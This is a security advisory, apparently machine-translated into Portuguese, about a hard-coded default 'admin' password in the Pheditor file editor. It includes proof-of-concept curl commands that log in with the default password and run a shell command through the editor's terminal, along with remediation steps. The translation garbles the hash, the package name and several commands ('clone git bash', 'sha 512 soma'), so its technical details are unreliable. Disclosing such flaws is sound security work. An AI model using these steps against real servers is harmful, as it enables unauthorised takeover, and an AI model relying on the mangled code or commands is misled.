O Pheditor é enviado com uma senha padrão codificada com 'admin' (SHA- 512 hash armazenado no `pheditor.php: 11 `). Não há mecanismo para forçar uma mudança de senha no primeiro login. Qualquer implantação usando as credenciais padrão dá acesso total ao editor de arquivos, upload de arquivos e recursos terminais, permitindo a leitura/escrita arbitrária de arquivos e execução de código remoto. Commit testado: `e 538 f 05 b 6 Faec 99 e 5 b 23726 bc 9 c 17 d 6 b 57774297 ` (cabeça atual no 'main') Versão afetada: Todas as versões do Pheditor. A senha está codificada em `pheditor.php: 11 `:.
```php define('PASSWORD'), 'c 7 anúncio 44 cbad 762 a 5 da 0 a 452 f 9 e 854 fdc 1 e 0 e 7 a 52 a 38015 f 23 f 3 eab 1 d 80 b 931 dd 472634 dfac 71 cd 34 ebc 35 d 16 ab 7 fb 8 a 90 c 81 f 975113 d 6 c 7538 dc 69 dd 8 de 9077 ec'); ``` Este é o SHA- 512 hash da cadeia `admin`: ````bash echo -n 'admin'. sha 512 soma c 7 anúncio 44 cbad 762 a 5 da 0 a 452 f 9 e 854 fdc 1 e 0 e 7 a 52 a 38015 f 23 f 3 eab 1 d 80 b 931 dd 472634 dfac 71 cd 34 ebc 35 d 16 ab 7 fb 8 a 90 c 81 f 975113 d 6 c 7538 dc 69 dd 8 de 9077 ec ``` O aplicativo mostra um banner de aviso no `pheditor.php: 1956 - 1958 ` quando a senha padrão estiver em uso, mas isto é apenas visual — não há alteração forçada da senha, não há caducidade, não há lockout e não há assistente de configuração. Muitas implementações são executadas com o padrão indefinidamente.
O hash da senha é armazenado como SHA- não salgado 512 no código fonte. O recurso de mudança de senha (linhas) 363 - 391 ) escreve o novo hash diretamente no arquivo de fonte PHP, o que significa que qualquer pessoa com acesso à fonte pode extraí- lo. ** Impacto combinado:** Com a senha padrão, um atacante não autenticado pode autenticar e explorar as vulnerabilidades do terminal RCE e do arquivo carregado para o compromisso imediato do servidor. **Medio ambiente:** Qualquer sistema executando Pheditor com configuração padrão.
** Configuração:** ```` clone git bash /tmp/pheditor- test cd /tmp/pheditor- test php -S localhost: 8080 PhP & ``` **Ativador positivo — autentifica com senha padrão:** ````bash curl -s -c /tmp/cookies.txt -X POST 8080 /pheditor.php \ -d "pheditor_password=admin" -L -o /dev/null -w "% {http_code}" ``` Esperado: ` 200 ` — autenticação bem sucedida com a senha padrão `admin`. **Verifique o acesso completo:** ````bash TOKEN=$(curl -s -b /tmp/cookies.txt 8080 /pheditor.phpї \ grep -o 'token = "[a- f 0 - 9 ]*""""[a-f 0 - 9 ]*""" tr -d '"") curl -s -b /tmp/cookies.txt -X POST 8080 /pheditor.php \ --data- urlencode "action=terminal" \ --data- urlencode "token=$TOKEN" \ --data- urlencode 'command=echo `id`' \ --data- urlencode "dir=" ```` Esperado: `id' saída mostrando usuário do servidor web — prova acesso completo ao sistema através de credenciais padrão combinadas com o terminal RCE.
**Control (senha errada):** ````bash curl -s -X POST 8080 /pheditor.php \ -d "pheditor_password=wrongpassword". grep -o 'não correto' ```' Esperado: `não correto' — a lógica de autenticação funciona, mas a senha padrão é trivialmente suponível. ** Limpeza:** ``` 'bash kill% 1; rm - rf / tmp/pheditor- teste / tmp/ cookies.txt `` Uso de Credenciais codificadas com Hard- Codificadas (CWE- 798 ). A senha padrão `admin` está documentada publicamente no código fonte, trivialmente suponível, e não há mecanismo para forçar uma mudança de senha no primeiro login. Isto efetivamente concede acesso total ao administrador do aplicativo aos atacantes remotos não autenticados.
**Principios do Attacker:** Atacador remoto não autenticado (PR: N). **Conditório de segurança cruzado:** Não autenticado → administrador totalmente autenticado. ** Impacto da confidencialidade:** Alto — leia todos os arquivos dentro do MAIN_ DIR e além (via terminal).
** Impacto da integração:** Alto — escreva/ elimine arquivos, carregue webshells, modifique o código de aplicativo, execute comandos arbitrários. **Impacto da disponibilidade:** Alto — excluir arquivos e diretórios, interromper serviços.
** Sugere uma remediação:** 1. Remova a senha padrão — requeira que o usuário defina uma senha durante a instalação. 2. Adicione um assistente de configuração que força a criação de senha no primeiro acesso. 3. Adicione uma mudança de senha forçada no primeiro login com credenciais padrão. 4. Use `password_hash()` / `password_verify()` com `PASSWORD_BCRYPT` em vez de SHA- bruto 512. ### Créditos - Dinh de Son Thai do VinSOC Labs (R&D). Registro de aconselhamento: GHSA- p 4 h 7 - p 9 rj- 2 pq 2. Identificadores relacionados: CVE- 2026 - 55579.
Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 16 T 20: 11: 23.000 Z e lista a sua última modificação como 2026 - 07 - 16 T 20: 11: 23.000 Z. Gravidade: Crítico. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
Software afetado e informações de versão: Pacote de pacotes de fadiga/fadiga — ECOSISTEM: introduzido 2.0.1, corrigido 2.0.6. Classificação e evidência: identificadores de fraqueza CWE- 798. O registro contém 3 suporte de referências nestes tipos: WEB, PACKAGE.